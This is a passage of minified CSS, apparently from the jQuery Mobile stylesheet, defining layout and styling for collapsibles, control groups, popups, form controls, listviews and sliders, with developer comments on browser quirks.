absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible { margin: 0 -1em; } .ui-collapsible-inset, .ui-collapsible-set { margin: .5em 0; } .ui-collapsible-heading { display: block; margin: 0; padding: 0; position: relative; } .ui-collapsible-heading .ui-btn { text-align: left; margin: 0; border-left-width: 0; border-right-width: 0; } .ui-collapsible-heading .ui-btn-icon-top, .ui-collapsible-heading .ui-btn-icon-bottom { text-align: center; } .ui-collapsible-inset .ui-collapsible-heading .ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) > .ui-collapsible-heading .ui-btn { border-top-width: 0; } .ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn { border-top-width: 1px; } .ui-collapsible-heading-status { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible-content { display: block; margin: 0; padding: .5em 1em; } .ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 0; border-right-width: 0; border-top-width: 0; border-bottom-width: 1px; border-style: solid; } .ui-collapsible-inset.ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 1px; border-right-width: 1px; } .ui-collapsible-inset .ui-collapsible-content { margin: 0; } .ui-collapsible-content-collapsed { display: none; } .ui-collapsible-set > .ui-collapsible.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-collapsible-heading, .ui-collapsible-heading > .ui-btn { -webkit-border-radius: inherit; border-radius: inherit; } .ui-collapsible-set .ui-collapsible.ui-first-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-collapsible-content, .ui-collapsible-set .ui-collapsible.ui-last-child { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } .ui-collapsible-set .ui-collapsible { margin: -1px -1em 0; } .ui-collapsible-set .ui-collapsible-inset { margin: -1px 0 0; } .ui-collapsible-set .ui-collapsible.ui-first-child { margin-top: 0; } .ui-controlgroup, fieldset.ui-controlgroup { padding: 0; margin: .5em 0; } .ui-field-contain .ui-controlgroup, .ui-field-contain fieldset.ui-controlgroup { margin: 0; } .ui-mini .ui-controlgroup-label { font-size: 16px; } .ui-controlgroup.ui-mini .ui-btn-icon-notext, .ui-controlgroup .ui-mini.ui-btn-icon-notext { font-size: inherit; } .ui-controlgroup-controls .ui-btn, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-select { margin: 0; } .ui-controlgroup-controls .ui-btn:focus, .ui-controlgroup-controls .ui-btn.ui-focus { z-index: 1; } .ui-controlgroup-controls li { list-style: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls { display: inline-block; vertical-align: middle; } .ui-controlgroup-horizontal .ui-controlgroup-controls:before, .ui-controlgroup-horizontal .ui-controlgroup-controls:after { content: ""; display: table; } .ui-controlgroup-horizontal .ui-controlgroup-controls:after { clear: both; } .ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-radio, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-select { float: left; clear: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn, .ui-controlgroup-controls .ui-btn-icon-notext { width: auto; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn-icon-notext { width: 1.5em; } .ui-controlgroup-controls .ui-btn-icon-notext { height: auto; padding: .7em 1em; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn { border-bottom-width: 0; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn.ui-last-child { border-bottom-width: 1px; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn { border-right-width: 0; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn.ui-last-child { border-right-width: 1px; } .ui-controlgroup-controls .ui-btn-corner-all, .ui-controlgroup-controls .ui-btn.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-controlgroup-controls, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-select, .ui-controlgroup-controls li { -webkit-border-radius: inherit; border-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-last-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-controls a.ui-shadow:not(:focus), .ui-controlgroup-controls button.ui-shadow:not(:focus), .ui-controlgroup-controls div.ui-shadow:not(.ui-focus) { -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; } /* Fixes legend not wrapping on IE10 */ .ui-controlgroup-label legend { max-width: 100%; } .ui-controlgroup-controls > label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-dialog { background: none !important; /* this is to ensure that dialog theming does not apply (by default at least) on the page div */ } .ui-dialog-contain { width: 92.5%; max-width: 500px; margin: 10% auto 1em auto; padding: 0; position: relative; top: -1em; } .ui-dialog-contain > .ui-header, .ui-dialog-contain > .ui-content, .ui-dialog-contain > .ui-footer { display: block; position: relative; width: auto; margin: 0; } .ui-dialog-contain > .ui-header { overflow: hidden; z-index: 10; padding: 0; border-top-width: 0; } .ui-dialog-contain > .ui-footer { z-index: 10; padding: 0 1em; border-bottom-width: 0; } .ui-popup-open .ui-header-fixed, .ui-popup-open .ui-footer-fixed { position: absolute !important; /* See issues #4816, #4844 and #4874 and popup.js */ } .ui-popup-screen { background-image: url("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="); /* Necessary to set some form of background to ensure element is clickable in IE6/7. While legacy IE won't understand the data-URI'd image, it ensures no additional requests occur in all other browsers with little overhead. */ top: 0; left: 0; right: 0; bottom: 1px; position: absolute; filter: Alpha(Opacity=0); opacity: 0; z-index: 1099; } .ui-popup-screen.in { opacity: 0.5; filter: Alpha(Opacity=50); } .ui-popup-screen.out { opacity: 0; filter: Alpha(Opacity=0); } .ui-popup-container { z-index: 1100; display: inline-block; position: absolute; padding: 0; outline: 0; } .ui-popup { position: relative; } .ui-popup.ui-body-inherit { border-width: 1px; border-style: solid; } .ui-popup-hidden { left: 0; top: 0; position: absolute !important; visibility: hidden; } .ui-popup-truncate { height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-popup.ui-content, .ui-popup .ui-content { overflow: visible; } .ui-popup > .ui-header { border-top-width: 0; } .ui-popup > .ui-footer { border-bottom-width: 0; } .ui-popup > p, .ui-popup > h1, .ui-popup > h2, .ui-popup > h3, .ui-popup > h4, .ui-popup > h5, .ui-popup > h6 { margin: .5em .4375em; } .ui-popup > span { display: block; margin: .5em .4375em; } .ui-popup-container .ui-content > p, .ui-popup-container .ui-content > h1, .ui-popup-container .ui-content > h2, .ui-popup-container .ui-content > h3, .ui-popup-container .ui-content > h4, .ui-popup-container .ui-content > h5, .ui-popup-container .ui-content > h6 { margin: .5em 0; } .ui-popup-container .ui-content > span { margin: 0; } .ui-popup-container .ui-content > p:first-child, .ui-popup-container .ui-content > h1:first-child, .ui-popup-container .ui-content > h2:first-child, .ui-popup-container .ui-content > h3:first-child, .ui-popup-container .ui-content > h4:first-child, .ui-popup-container .ui-content > h5:first-child, .ui-popup-container .ui-content > h6:first-child { margin-top: 0; } .ui-popup-container .ui-content > p:last-child, .ui-popup-container .ui-content > h1:last-child, .ui-popup-container .ui-content > h2:last-child, .ui-popup-container .ui-content > h3:last-child, .ui-popup-container .ui-content > h4:last-child, .ui-popup-container .ui-content > h5:last-child, .ui-popup-container .ui-content > h6:last-child { margin-bottom: 0; } .ui-popup > img { max-width: 100%; max-height: 100%; vertical-align: middle; } .ui-popup:not(.ui-content) > img:only-child, .ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child, .ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child { -webkit-border-radius: inherit; border-radius: inherit; } .ui-popup iframe { vertical-align: middle; } .ui-popup > .ui-btn-left, .ui-popup > .ui-btn-right { position: absolute; top: -11px; margin: 0; z-index: 1101; } .ui-popup > .ui-btn-left { left: -11px; } .ui-popup > .ui-btn-right { right: -11px; } /* Dimensions related to the popup arrow -----------------------------------------------------------------------------------------------------------*/ /* desired triangle height: 10px */ /** * guide for the arrow - its width, height, and offset are theme-dependent and * should be expessed as left, right, top, bottom, so that the element bearing * such a class becomes stretched inside its parent position: relative element. * The left/top/right/bottom specified below should reflect the corresponding * border radii and so it leaves room for the shadow: * ..--------------------.. * ." ^ top ". * / v \ * | +------------------+ | * | | | | * | left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The idea is that the top/left of the arrow container box does not move to a * coordinate smaller than the top/left of the guide and the right/bottom of * the arrow container box does not move to a coordinate larger than the * bottom/right of the guide. This will help us avoid the following situation: * ..--------------------.. * ." ^ top ". * /|/ v \ * / | +------------------+ | * \ | | | | * \| left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The arrow should not receive a top/left coordinate such that it is too close * to one of the corners, because then at first the shadow of the arrow and, * given a coordinate even closer to the corner, even the body of the arrow will * "stick out" of the corner of the popup. The guide provides a hint to the * arrow positioning code as to which range of values is acceptable for the * arrow container's top/left coordinate. **/ .ui-popup-arrow-container { width: 20px; height: 20px; } /* aside from the "infinities" (-1000,2000), triangle height is used */ .ui-popup-arrow-container.ui-popup-arrow-l { left: -10px; clip: rect(-1000px,10px,2000px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-t { top: -10px; clip: rect(-1000px,2000px,10px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-r { right: -10px; clip: rect(-1000px,2000px,2000px,10px); } .ui-popup-arrow-container.ui-popup-arrow-b { bottom: -10px; clip: rect(10px,2000px,1000px,-1000px); } /** * For each side, the arrow is twice the desired size and its corner is aligned * with the edge of the container: * * /\ /\ +----+ /\ * / \ / \ | /\ |top / \ * +----+ \ / +----+ +-->|/ \| / \ * left| / | \ / | \ |right | | | / \ * |/ | \ / | \| | /| |\ / \ * |\ | / \ | /| | / +----+ \ \ +----+ / * | \ | / \ | / | | \ / \| |/ * +----+ / \ +----+ | \ / | | * ^ \ / \ / ^ | \ / +->|\ /| * | \/ \/ | | \ / | | \/ |bottom * | | | \/ | +----+ * +-------------------+--------+-----------+ * | * arrow container * (clips arrow) **/ .ui-popup-arrow-container .ui-popup-arrow { /* (4*desired triangle height)/sqrt(2) - does not account for border - centred within the outer rectangle */ width: 28.284271247px; height: 28.284271247px; border-width: 1px; border-style: solid; } .ui-popup-arrow-container.ui-popup-arrow-t .ui-popup-arrow { left: -4.142135623px; top: 5.857864376px; } .ui-popup-arrow-container.ui-popup-arrow-b .ui-popup-arrow { left: -4.142135623px; top: -14.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-l .ui-popup-arrow { left: 5.857864376px; top: -4.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-r .ui-popup-arrow { left: -14.142135623px; top: -4.142135623px; } /* Fix rotation center for oldIE - see http://www.useragentman.com/IETransformsTranslator/ */ .ui-popup-arrow-container.ui-popup-arrow-t.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -7.0710678118654755px; } .ui-popup-arrow-container.ui-popup-arrow-b.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -4.142135623730951px; } .ui-popup-arrow-container.ui-popup-arrow-l.ie .ui-popup-arrow { margin-left: -7.0710678118654755px; margin-top: -5.857864376269049px; } .ui-popup-arrow-container.ui-popup-arrow-r.ie .ui-popup-arrow { margin-left: -4.142135623730951px; margin-top: -5.857864376269049px; } /* structure */ .ui-popup > .ui-popup-arrow-guide { position: absolute; left: 0; right: 0; top: 0; bottom: 0; visibility: hidden; } .ui-popup-arrow-container { position: absolute; } .ui-popup-arrow { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); position: absolute; overflow: hidden; box-sizing: border-box; } .ui-popup-arrow-container.ie .ui-popup-arrow { -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand'); } .ui-checkbox, .ui-radio { margin: .5em 0; position: relative; } .ui-checkbox .ui-btn, .ui-radio .ui-btn { margin: 0; text-align: left; white-space: normal; /* Nowrap + ellipsis doesn't work on label. Issue #1419. */ z-index: 2; } .ui-controlgroup .ui-checkbox .ui-btn.ui-focus, .ui-controlgroup .ui-radio .ui-btn.ui-focus { z-index: 3; } .ui-checkbox .ui-btn-icon-top, .ui-radio .ui-btn-icon-top, .ui-checkbox .ui-btn-icon-bottom, .ui-radio .ui-btn-icon-bottom { text-align: center; } .ui-controlgroup-horizontal .ui-checkbox .ui-btn:after, .ui-controlgroup-horizontal .ui-radio .ui-btn:after { content: none; display: none; } /* Native input positioning */ .ui-checkbox input, .ui-radio input { position: absolute; left: .466em; top: 50%; width: 22px; height: 22px; margin: -11px 0 0 0; outline: 0 !important; z-index: 1; } .ui-controlgroup-horizontal .ui-checkbox input, .ui-controlgroup-horizontal .ui-radio input { left: 50%; margin-left: -9px; } .ui-checkbox input:disabled, .ui-radio input:disabled { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select { margin-top: .5em; margin-bottom: .5em; /* no shorthand for margin because it would override margin-right for inline selects */ position: relative; } .ui-select > select { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select .ui-btn { margin: 0; opacity: 1; /* Fixes #2588: When Windows Phone 7.5 (Mango) tries to calculate a numeric opacity for a select (including "inherit") without explicitly specifying an opacity on the parent to give it context, a bug appears where clicking elsewhere on the page after opening the select will open the select again. */ } .ui-select .ui-btn select { position: absolute; top: 0; left: 0; width: 100%; min-height: 1.5em; min-height: 100%; height: 3em; max-height: 100%; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; filter: Alpha(Opacity=0); opacity: 0; z-index: 2; } @-moz-document url-prefix() { .ui-select .ui-btn select { opacity: 0.0001; } } /* Display none because of issues with IE/WP's filter alpha opacity */ .ui-select .ui-state-disabled select { display: none; } /* Because we add all classes of the select and option elements to the span... */ .ui-select span.ui-state-disabled { filter: Alpha(Opacity=100); opacity: 1; } .ui-select .ui-btn.ui-select-nativeonly { border-radius: 0; border: 0; } .ui-select .ui-btn.ui-select-nativeonly select { opacity: 1; text-indent: 0; display: block; } /* ui-li-count is styled in the listview CSS. We set padding and offset here because select supports icon position while listview doesn't. */ .ui-select .ui-li-has-count.ui-btn { padding-right: 2.8125em; } .ui-select .ui-li-has-count.ui-btn-icon-right { padding-right: 4.6875em; } .ui-select .ui-btn-icon-right .ui-li-count { right: 3.2em; } /* We set the rules for the span as well to fix an issue on Chrome with text-overflow ellipsis for the button in combination with text-align center. */ .ui-select .ui-btn > span:not(.ui-li-count) { display: block; text-overflow: ellipsis; overflow: hidden !important; white-space: nowrap; } .ui-selectmenu.ui-popup { min-width: 11em; } .ui-selectmenu .ui-dialog-contain { overflow: hidden; } .ui-selectmenu .ui-header { margin: 0; padding: 0; border-width: 0; } .ui-selectmenu.ui-dialog .ui-header { z-index: 1; position: relative; } .ui-selectmenu.ui-popup .ui-header { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } /* when no placeholder is defined in a multiple select, the header height doesn't even extend past the close button. this shim's content in there */ .ui-selectmenu.ui-popup .ui-header h1:after { content: '.'; visibility: hidden; } .ui-selectmenu .ui-header .ui-title { margin: 0 2.875em; } .ui-selectmenu.ui-dialog .ui-content { overflow: visible; z-index: 1; } .ui-selectmenu .ui-selectmenu-list { margin: 0; -webkit-border-radius: inherit; border-radius: inherit; } .ui-header:not(.ui-screen-hidden) + .ui-selectmenu-list { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-top-left-radius: 0; border-top-left-radius: 0; } .ui-header.ui-screen-hidden + .ui-selectmenu-list li.ui-first-child .ui-btn { border-top-width: 0; } .ui-selectmenu .ui-selectmenu-list li.ui-last-child .ui-btn { border-bottom-width: 0; } .ui-selectmenu .ui-btn.ui-li-divider { cursor: default; } .ui-selectmenu .ui-selectmenu-placeholder { display: none; } .ui-listview, .ui-listview > li { margin: 0; padding: 0; list-style: none; } .ui-content .ui-listview, .ui-panel-inner > .ui-listview { margin: -1em; } .ui-content .ui-listview-inset, .ui-panel-inner > .ui-listview-inset { margin: 1em 0; } .ui-collapsible-content > .ui-listview { margin: -.5em -1em; } .ui-collapsible-content > .ui-listview-inset { margin: .5em 0; } .ui-listview > li { display: block; position: relative; overflow: visible; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { margin: 0; display: block; position: relative; text-align: left; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li > .ui-btn:focus { z-index: 1; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { border-width: 1px 0 0 0; border-style: solid; } .ui-listview-inset > .ui-li-static, .ui-listview-inset > .ui-li-divider, .ui-listview-inset > li > a.ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-listview > .ui-li-static.ui-last-child, .ui-listview > .ui-li-divider.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { border-bottom-width: 1px; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 0; } .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child, .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child > a.ui-btn { border-bottom-width: 0; } .ui-listview > li.ui-first-child, .ui-listview > li.ui-first-child > a.ui-btn { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-listview > li.ui-li-has-alt > a.ui-btn { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } .ui-listview > li.ui-first-child > a.ui-btn + a.ui-btn { -webkit-border-top-left-radius: 0; border-top-left-radius: 0; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-listview > li.ui-last-child > a.ui-btn + a.ui-btn { -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-listview > li.ui-first-child img:first-child:not(.ui-li-icon) { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child img:first-child:not(.ui-li-icon) { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) { -webkit-border-radius: inherit; border-radius: inherit; } .ui-listview > .ui-li-static { padding: .7em 1em; } .ui-listview > .ui-li-divider { padding: .5em 1.143em; font-size: 14px; font-weight: bold; cursor: default; outline: 0; /* Dividers in custom selectmenus have tabindex */ } .ui-listview > .ui-li-has-count > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-count, .ui-listview > .ui-li-divider.ui-li-has-count { padding-right: 2.8125em; } .ui-listview > .ui-li-has-count > .ui-btn-icon-right { padding-right: 4.6875em; } .ui-listview > .ui-li-has-thumb > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-thumb { min-height: 3.625em; padding-left: 6.25em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-icon { min-height: 1.25em; padding-left: 2.5em; } /* Used by both listview and custom multiple select button */ .ui-li-count { position: absolute; font-size: 12.5px; font-weight: bold; text-align: center; border-width: 1px; border-style: solid; padding: 0 .48em; line-height: 1.6em; min-height: 1.6em; min-width: .64em; right: .8em; top: 50%; margin-top: -.88em; } .ui-listview .ui-btn-icon-right .ui-li-count { right: 3.2em; } .ui-listview .ui-li-has-thumb > img:first-child, .ui-listview .ui-li-has-thumb > .ui-btn > img:first-child, .ui-listview .ui-li-has-thumb .ui-li-thumb { position: absolute; left: 0; top: 0; max-height: 5em; max-width: 5em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > img:first-child, .ui-listview > .ui-li-has-icon > .ui-btn > img:first-child { position: absolute; left: .625em; top: .9em; max-height: 1em; max-width: 1em; } .ui-listview > li h1, .ui-listview > li h2, .ui-listview > li h3, .ui-listview > li h4, .ui-listview > li h5, .ui-listview > li h6 { font-size: 1em; font-weight: bold; display: block; margin: .45em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li p { font-size: .75em; font-weight: normal; display: block; margin: .6em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview .ui-li-aside { position: absolute; top: 1em; right: 3.333em; margin: 0; text-align: right; } .ui-listview > li.ui-li-has-alt > .ui-btn { margin-right: 2.5em; border-right-width: 0; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn { position: absolute; width: 2.5em; height: 100%; min-height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-left-width: 1px; top: 0; right: 0; margin: 0; padding: 0; z-index: 2; } .ui-listview-inset > li.ui-li-has-alt > .ui-btn + .ui-btn { border-right-width: 1px; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn:focus { z-index: 3; } ol.ui-listview, ol.ui-listview > .ui-li-divider { counter-reset: listnumbering; } ol.ui-listview > li > .ui-btn, ol.ui-listview > li.ui-li-static { vertical-align: middle; } ol.ui-listview > li > .ui-btn:first-child:before, ol.ui-listview > li.ui-li-static:before, ol.ui-listview > li.ui-field-contain > label:before, ol.ui-listview > li.ui-field-contain > .ui-controlgroup-label:before { display: inline-block; font-size: .9em; font-weight: normal; padding-right: .3em; min-width: 1.4em; line-height: 1.5; vertical-align: middle; counter-increment: listnumbering; content: counter(listnumbering) "."; } ol.ui-listview > li.ui-field-contain:before { content: none; display: none; } ol.ui-listview > li h1:first-child, ol.ui-listview > li h2:first-child, ol.ui-listview > li h3:first-child, ol.ui-listview > li h4:first-child, ol.ui-listview > li h5:first-child, ol.ui-listview > li h6:first-child, ol.ui-listview > li p:first-child, ol.ui-listview > li img:first-child + * { display: inline-block; vertical-align: middle; } ol.ui-listview > li h1:first-child ~ *, ol.ui-listview > li h2:first-child ~ *, ol.ui-listview > li h3:first-child ~ *, ol.ui-listview > li h4:first-child ~ *, ol.ui-listview > li h5:first-child ~ *, ol.ui-listview > li h6:first-child ~ *, ol.ui-listview > li p:first-child ~ *, ol.ui-listview > li img:first-child + * ~ * { margin-top: 0; text-indent: 2.04em; /* (1.4em + .3em) * .9em / .75em */ } html .ui-filterable + .ui-listview, html .ui-filterable.ui-listview { margin-top: .5em; } .ui-collapsible-content > form.ui-filterable { margin-top: -.5em; } .ui-collapsible-content > .ui-input-search.ui-filterable { margin-top: 0; } .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 1px; } div.ui-slider { height: 30px; margin: .5em 0; padding: 0; -ms-touch-action: pan-y pinch-zoom double-tap-zoom; } div.ui-slider:before, div.ui-slider:after { content: ""; display: table; } div.ui-slider:after { clear: both; } input.ui-slider-input { display: block; float: left; font-size: 14px; font-weight: bold; margin: 0; padding: 4px; width: 40px; height: 20px; line-height: 20px; border-width: 1px; border-style: solid; outline: 0; text-align: center; vertical-align: text-bottom; -webkit-appearance: none; -moz-appearance: none; appearance: none; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-slider-input::-webkit-outer-spin-button, .ui-slider-input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .ui-slider-track { position: relative; overflow: visible; border-width: 1px; border-style: solid; height: 15px; margin: 0 15px 0 68px; top: 6px; } .ui-slider-track.ui-mini { height: 12px; top: 8px; } .ui-slider-track .ui-slider-bg { height: 100%; } /* High level of specificity to override button margins in grids */ .ui-slider-track .ui-btn.ui-slider-handle { position: absolute; z-index: 1; top: 50%; width: 28px; height: 28px; margin: -15px 0 0 -15px; outline: 0; padding: 0; } .ui-slider-track.ui-mini .ui-slider-handle { height: 14px; width: 14px; margin: -8px 0 0 -8px; } select.ui-slider-switch { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } div.ui-slider-switch { display: inline-block; height: 32px; width: 5.8em; top: 0; } /* reset the clearfix */ div.ui-slider-switch:before, div.ui-slider-switch:after { display: none; clear: none; } div.ui-slider-switch.ui-mini { height: 29px; top: 0; } .ui-slider-inneroffset { margin: 0 16px; position: relative; z-index: 1; } .ui-slider-switch.ui-mini .ui-slider-inneroffset { margin: 0 15px 0 14px; } .ui-slider-switch .ui-btn.ui-slider-handle { margin: 1px 0 0 -15px; } .ui-slider-switch.ui-mini .ui-slider-handle { width: 25px; height: 25px; margin: 1px 0 0 -13px; padding: 0; } .ui-slider-handle-snapping { -webkit-transition: left 70ms linear; -moz-transition: left 70ms linear; transition: left 70ms linear; } .ui-slider-switch .ui-slider-label { position: absolute; text-align: center; width: 100%; overflow: hidden; font-size: 16px; top: 0; line-height: 2; min-height: 100%; white-space: nowrap; cursor: pointer; } .ui-slider-switch.ui-mini .ui-slider-label { font-size: 14px; } .ui-slider-switch .ui-slider-label-a { z-index: 1; left: 0; text-indent: -1.5em; } .ui-slider-switch .ui-slider-label-b { z-index: 0; right: 0; text-indent: 1.5em; } /* The corner radii for ui-slider-switch/track can be specified in theme CSS. The bg and handle inherits. */ .ui-slider-track .ui-slider-bg, .ui-slider-switch .ui-slider-label, .ui-slider-switch .ui-slider-inneroffset, .ui-slider-handle { -webkit-border-radius: inherit; border-radius: inherit; } .ui-field-contain div.ui-slider-switch { margin: 0; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-field-contain div.ui-slider-switch, .ui-field-contain.ui-hide-label div.ui-slider-switch, html .ui-popup .ui-field-contain div.ui-slider-switch { display: inline-block; width: 5.8em; } /* slider tooltip -----------------------------------------------------------------------------------------------------------*/ .ui-slider-popup { width: 64px; height: 64px; font-size: 36px; padding-top: 14px; opacity: 0.8; } .ui-slider-popup { position: absolute !important; text-align: center; z-index: 100; } .ui-slider-track .ui-btn.ui-slider-handle { font-size: .9em; line-height: 30px; } .ui-rangeslider { margin: .5em 0; } .ui-rangeslider:before, .ui-rangeslider:after { content: ""; display: table; } .ui-rangeslider:after { clear: both; } .ui-rangeslider .ui-slider-input.ui-rangeslider-last { float: right; } .ui-rangeslider .ui-rangeslider-sliders { position: relative; overflow: visible; height: 30px; margin: 0 68px; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track { position: absolute; top: 6px; right: 0; left: 0; margin: 0; } .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track { top: 8px; } .ui-rangeslider .ui-slider-track:first-child .ui-slider-bg { display: none; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { background-color: transparent; background: none; border-width: 0; height: 0; } /* this makes ie6 and ie7 set height to 0 to fix z-index problem */ html >/**/body .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { height: 15px; border-width: 1px; } html >/**/body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child { height: 12px; } /* Hide the second label (the first is moved outside the div) */ div.ui-rangeslider label { position: absolute !important; 